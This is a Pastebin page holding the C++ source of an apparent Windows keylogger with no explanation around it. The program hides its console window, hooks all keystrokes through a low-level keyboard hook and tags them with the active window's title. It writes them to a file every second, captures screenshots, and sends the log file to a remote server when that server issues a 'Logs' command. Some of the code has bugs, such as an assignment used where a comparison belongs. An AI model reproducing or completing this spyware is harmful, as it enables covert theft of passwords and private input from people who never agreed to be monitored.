Advertisement
wzLeonardo

Untitled

Feb 16th, 2019
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.92 KB | None | 0 0
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #pragma comment(lib, "ws2_32.lib")
  3. #include "Sv.h"
  4. #include <Windows.h>
  5. #include <iostream>
  6. #include <string>
  7. #include <gdiplus.h>
  8. #include <fstream>
  9. using namespace Gdiplus;
  10. #pragma comment (lib, "gdiplus.lib")
  11. std::string str;
  12. std::string newa = "\n";
  13. std::string Po = ">>\t";
  14. std::string lastw;
  15. std::string str1;
  16. std::string GETA()
  17. {
  18. char wnd_title[256];
  19. HWND hwnd = GetForegroundWindow(); // get handle of currently active window
  20. GetWindowText(hwnd, wnd_title, sizeof(wnd_title));
  21. return wnd_title ;
  22. }
  23. void hideWindow() {
  24. HWND window = GetConsoleWindow();
  25. if (IsWindowVisible(window)) {
  26. ShowWindow(window, SW_HIDE);
  27. }
  28. }
  29. HINSTANCE hInst;
  30. HWND list;
  31. bool hooked = false;
  32.  
  33. LRESULT CALLBACK LowLevelKeyboardProc1(int code, WPARAM wParam, LPARAM lParam);
  34. HHOOK hhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc1, hInst, 0);
  35. LRESULT CALLBACK LowLevelKeyboardProc1(int code, WPARAM wParam, LPARAM lParam) {
  36. if (code == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
  37. static bool capslock = false;
  38. static bool shift = false;
  39. char tmp[0xFF] = { 0 };
  40. DWORD msg = 1;
  41. KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lParam);
  42. bool printable;
  43. msg += (st_hook.scanCode << 16);
  44.  
  45. if (st_hook.scanCode = 0x3a)
  46. {
  47. msg += ((st_hook.flags & LLKHF_EXTENDED) << 24);
  48. }
  49. msg += (st_hook.flags << 24);
  50. if (st_hook.vkCode == VK_LWIN)
  51. {
  52. str = "[WinK]";
  53. }
  54. GetKeyNameText(msg, tmp, 0xFF);
  55. str = std::string(tmp);
  56. printable = (str.length() <= 1) ? true : false; //if char is p.g 'E' -> printable, Ctrl -> not printable
  57.  
  58. if (!printable) {
  59. if (str == "CAPSLOCK" || str == "Caps Lock")
  60. capslock = !capslock;
  61. else if (str == "SHIFT" || str == "Shift")
  62. shift = true;
  63.  
  64. if (str == "ENTER" || str == "Enter") {
  65. str = "[E]";
  66. printable = true;
  67. }
  68. else if (str == "SPACE" || str == "Space") {
  69. str = " ";
  70. printable = true;
  71. }
  72. else if (str == "TAB" || str == "Tab") {
  73. str = "\t";
  74. printable = true;
  75. }
  76. else {
  77. str = ("[" + str + "]");
  78. }
  79. }
  80.  
  81. if (printable) {
  82. if (shift == capslock) { /* Lowercase */
  83. for (size_t i = 0; i < str.length(); ++i)
  84. str[i] = tolower(str[i]);
  85. }
  86. else { /* Uppercase */
  87. for (size_t i = 0; i < str.length(); ++i) {
  88. if (str[i] >= 'A' && str[i] <= 'Z') {
  89. str[i] = toupper(str[i]);
  90. }
  91. }
  92. }
  93.  
  94. shift = false;
  95. }
  96. /* if (hooked)
  97. {
  98. if (lastw == GETA()) {
  99. str1 = str1 + str;
  100. send(sock, str1.c_str(), sizeof(str), 0);
  101.  
  102. }
  103. else {
  104. lastw = GETA();
  105. str1 = str1 + newa + Po + GETA() + newa + str;
  106. send(sock, str1.c_str(), sizeof(str), 0);
  107. }
  108. }
  109. else {*/
  110. if (lastw == GETA()) {
  111. str1 = str1 + str;
  112. }
  113. else {
  114. lastw = GETA();
  115. str1 = str1 + newa + Po + GETA() + newa + str;
  116. }
  117. //}
  118.  
  119. }
  120. return CallNextHookEx(hhook, code, wParam, lParam);
  121. }
  122. int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
  123. {
  124. UINT num = 0, size = 0;
  125. Gdiplus::GetImageEncodersSize(&num, &size);
  126. if (size == 0)
  127. return -1;
  128. Gdiplus::ImageCodecInfo* pImageCodecInfo = (Gdiplus::ImageCodecInfo*)malloc(size);
  129. if (!pImageCodecInfo)
  130. return -1;
  131. Gdiplus::GetImageEncoders(num, size, pImageCodecInfo);
  132. for (UINT j = 0; j < num; ++j)
  133. if (wcscmp(pImageCodecInfo[j].MimeType, format) == 0)
  134. {
  135. *pClsid = pImageCodecInfo[j].Clsid;
  136. free(pImageCodecInfo);
  137. return j;
  138. }
  139. free(pImageCodecInfo);
  140. return -1;
  141. }
  142. void makescreen()
  143. {
  144. Gdiplus::GdiplusStartupInput gdiplusStartupInput;
  145. ULONG_PTR gdiplusToken;
  146. GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, 0);
  147. HWND desktop = GetDesktopWindow();
  148. HDC desktopdc = GetDC(desktop);
  149. HDC hdc = CreateCompatibleDC(desktopdc);
  150. int width = GetSystemMetrics(SM_CXSCREEN);
  151. int height = GetSystemMetrics(SM_CYSCREEN);
  152. HBITMAP mybmp = CreateCompatibleBitmap(desktopdc, width, height);
  153. HBITMAP oldbmp = (HBITMAP)SelectObject(hdc, mybmp);
  154. BitBlt(hdc, 0, 0, width, height, desktopdc, 0, 0, SRCCOPY | CAPTUREBLT);
  155. SelectObject(hdc, oldbmp);
  156. bool defaultfn = true;
  157. wchar_t const filename[] = L"screenshot.png";
  158. char format[4] = "png";
  159. wchar_t encoder[10] = L"image/png";
  160. long quality = -1;
  161. int resize = -1;
  162. Gdiplus::Bitmap* b = Gdiplus::Bitmap::FromHBITMAP(mybmp, 0);
  163. CLSID encoderClsid;
  164. Gdiplus::EncoderParameters encoderParameters;
  165. Gdiplus::Status stat = Gdiplus::GenericError;
  166. if (b && GetEncoderClsid(encoder, &encoderClsid) != -1)
  167. stat = b->Save(filename, &encoderClsid, 0);
  168. Gdiplus::GdiplusShutdown(gdiplusToken);
  169. ReleaseDC(desktop, desktopdc);
  170. DeleteObject(mybmp);
  171. DeleteDC(hdc);
  172. }
  173. void saver() {
  174. std::ofstream outfile;
  175. while (true)
  176. {
  177. Sleep(1000);
  178. outfile.open("sample.txt", std::ios_base::out | std::ios_base::app);
  179. //outfile << "\nDate: " << a.wDay << "/" << a.wMonth << "/" << a.wDay << " - " << a.wHour << ":" << a.wMinute << std::endl;
  180. outfile << str1.c_str();
  181. str1 = "";
  182. outfile.close();
  183. makescreen();
  184. std::cout << "[Salvado]\n";
  185.  
  186. }
  187.  
  188. }
  189.  
  190. void Start() {
  191. Server * a = new Server(2222,"127.0.0.1");
  192. }
  193. int run() {
  194. HANDLE myHandler;
  195. DWORD myThreadID;
  196. myHandler = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)saver, 0, 0, &myThreadID);
  197.  
  198. hhook;
  199. MSG Message;
  200. while (GetMessage(&Message, 0, 0, 0)) {
  201. TranslateMessage(&Message);
  202. DispatchMessage(&Message);
  203. }
  204. return Message.wParam;
  205. }
  206. bool senddata(SOCKET sock, void *buf, int buflen)
  207. {
  208. const char *pbuf = ( char *)buf;
  209.  
  210. while (buflen > 0)
  211. {
  212. int num = send(sock, pbuf, buflen, 0);
  213. if (num == SOCKET_ERROR)
  214. {
  215. if (WSAGetLastError() == WSAEWOULDBLOCK)
  216. {
  217. // optional: use select() to check for timeout to fail the send
  218. continue;
  219. }
  220. return false;
  221. }
  222.  
  223. pbuf += num;
  224. buflen -= num;
  225. }
  226.  
  227. return true;
  228. }
  229.  
  230. void FileSend(SOCKET FileSendSocket){
  231.  
  232. FILE *img = fopen("sample.txt", "rb");
  233. fseek(img, 0, SEEK_END);
  234. unsigned long filesize = ftell(img);
  235. char *buffer = (char*)malloc(sizeof(char)*filesize);
  236. rewind(img);
  237. // store read data into buffer
  238. fread(buffer, sizeof(char), filesize, img);
  239. // send buffer to client
  240. send(FileSendSocket, buffer, filesize, 0);
  241.  
  242. }
  243.  
  244. void Comds() {
  245. char buf[4096];
  246. std::string SvCMD;
  247. while (true) {
  248. ZeroMemory(buf, 4096);
  249. int bytesReceived = recv(sock, buf, 4096, 0);
  250. if (bytesReceived > 0) {
  251. SvCMD = std::string(buf);
  252. if (SvCMD == "Logs") {
  253. FileSend(sock);
  254. }
  255. if (SvCMD == "Hook") {
  256.  
  257. }
  258.  
  259. // cout << "Server_> " << SvCMD << endl;
  260. // send(sock, filehandle, sizeof(buf), 0);
  261. }
  262. //cout << "Server off> " << SvCMD << endl;
  263.  
  264.  
  265. }
  266. closesocket(sock);
  267. WSACleanup();
  268. }
  269. int main() {
  270. hideWindow();
  271. HANDLE myHandler;
  272. DWORD myThreadID;
  273. myHandler = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Start, 0, 0, &myThreadID);
  274. HANDLE myHandlexr;
  275. DWORD myThreadIxD;
  276. myHandlexr = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Comds, 0, 0, &myThreadID);
  277.  
  278. run();
  279. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement